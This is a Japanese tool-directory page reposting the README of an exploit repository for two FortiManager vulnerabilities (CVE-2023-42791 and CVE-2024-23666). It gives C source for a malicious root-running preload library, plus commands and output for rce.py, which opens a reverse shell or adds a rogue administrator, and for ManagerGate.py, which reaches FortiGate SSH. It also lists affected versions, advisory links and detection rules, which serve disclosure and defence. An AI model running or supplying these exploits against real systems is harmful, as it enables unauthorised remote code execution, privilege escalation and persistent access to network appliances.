Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/synacktiv/cve-2023-42791_cve-2024-23666
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストコマンド&コントロールレッドチーミングリモートアクセスツール

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHub
synacktiv/cve-2023-42791_cve-2024-23666

CVE-2023-42791_CVE-2024-23666

CVE-2023-42791 および CVE-2024-23666 のエクスプロイトスクリプト。

リポジトリを見る
621年前未レビュー

Fortimanagerの不十分な認可チェック (CVE-2024-23666) および無制限ファイルアップロード (CVE-2023-42791) の悪用スクリプト

これらの脆弱性を利用した2つの悪用スクリプトを提供します:

  • rce.py: FortiManagerへの非特権アクセスからリバースシェルを取得するか、任意の管理者を追加します。
  • ManagerGate.py: リモートで管理されているFortiGate SSHサービスへの接続を可能にします。SSHパスワードは依然として必要ですが、FortiManagerの設定バックアップに含まれています。

詳細については、https://www.synacktiv.com/advisories/advisories/fortimanager-multiple-vulnerabilities にある関連アドバイザリを参照してください。

使用方法

rce.py

/rce.sh を実行する悪意のあるライブラリをコンパイルします:

root@kitploit:~
$ cat rce.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    if (getuid() != 0) return 0;
    unlink("/etc/ld.so.preload");
    if (fork() == 0) {
        setgid(0);
        setuid(0);
        system("/bin/bash /rce.sh");
    }
    return 0;
}

$ gcc -fPIC -shared -o rce.so rce.c -nostartfiles

使用方法:

root@kitploit:~
$ python3 rce.py -h
usage: rce.py [-h] [-k] [-l LIBRARY] connection {revshell,adduser} ...

positional arguments:
  connection            User, password, and host (user:password@host)

options:
  -h, --help            show this help message and exit
  -k, --insecure        Do not check the remote host certificate (default: False)
  -l LIBRARY, --library LIBRARY
                        Malicious library path (default: /tmp/rce.so)

Action to run:
  {revshell,adduser}
    revshell            Run a Python reverse shell
    adduser             Create a new administrator

リバースシェルを取得するには:

root@kitploit:~
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] revshell 10.10.10.100 1234
[+] Login to the FortiManager
[+] Uploading /rce.sh
[+] Uploading /rce.so
[+] Uploading /etc/ld.so.preload
[+] Login out of the FortiManager to trigger the RCE

FortiManagerに新しい管理者を追加するには:

root@kitploit:~
$ python3 rce.py -k -l ./rce.so lowpriv:[email protected] adduser malicious_adm password
[+] Login to the FortiManager
[+] Uploading /create_user.txt
[+] Uploading /rce.sh
[+] Uploading /rce.so
[+] Uploading /etc/ld.so.preload
[+] Login out of the FortiManager to trigger the RCE

ManagerGate.py

root@kitploit:~
$ python3 ManagerGate.py -h
usage: ManagerGate.py [-h] -H HOST -u USER -p PASSWORD [-d DEVICEID] [-i TUNNELIP] [-l] [-x PROXY] -U GU [-v VERBOSE]

get a shell on fortigate

options:
  -h, --help            show this help message and exit
  -H HOST, --host HOST  host of the fortimanager
  -u USER, --user USER  user to connect with to the fortimanager
  -p PASSWORD, --password PASSWORD
                        password to connect to the fortimanager
  -d DEVICEID, --deviceid DEVICEID
                        device oid to get shell
  -i TUNNELIP, --tunnelip TUNNELIP
                        tunnel ip of the fortigate
  -l, --local           local connect to fortimanager
  -x PROXY, --proxy PROXY
                        proxy request
  -U GU, --gu GU        user to connect with to the fortigate
  -v VERBOSE, --verbose VERBOSE

例

root@kitploit:~
$ python3 ManagerGate.py -H 10.0.0.1 -u ReadOnlyUser -p MyPassword123 -d 1011 -i 169.254.0.2   -U root

対象のFortiGateのデバイスOIDとトンネルIPは、FortiManagerのGUIで確認できます。

影響を受けるバージョン

  • CVE-2023-42791
    • FortiManager ≤ 7.4.0 ≤ 7.2.3 ≤ 7.0.8 ≤ 6.4.12 ≤ 6.2.11
  • CVE-2024-23666
    • FortiManager ≤ 7.4.2 ≤ 7.2.5 ≤ 7.0.12 ≤ 6.4.14
    • FortiAnalyzer ≤ 7.4.2 ≤ 7.2.5 ≤ 7.0.12 ≤ 6.4.14
    • FortiAnalyzer-BigData ≤ 7.4.0 ≤ 7.2.6 7.0.x 6.4.x 6.2.x

Sigma検知ルール

これらの悪用スクリプトの使用を検知するためのSigma検知ルールは、Synacktivのルールリポジトリで入手できます: https://github.com/synacktiv/synacktiv-rules/tree/main/2025/fortimanager

参照

  • https://www.synacktiv.com/advisories/advisories/fortimanager-multiple-vulnerabilities
  • https://fortiguard.fortinet.com/psirt/FG-IR-23-189
  • https://fortiguard.fortinet.com/psirt/FG-IR-23-396
ツールをダウンロード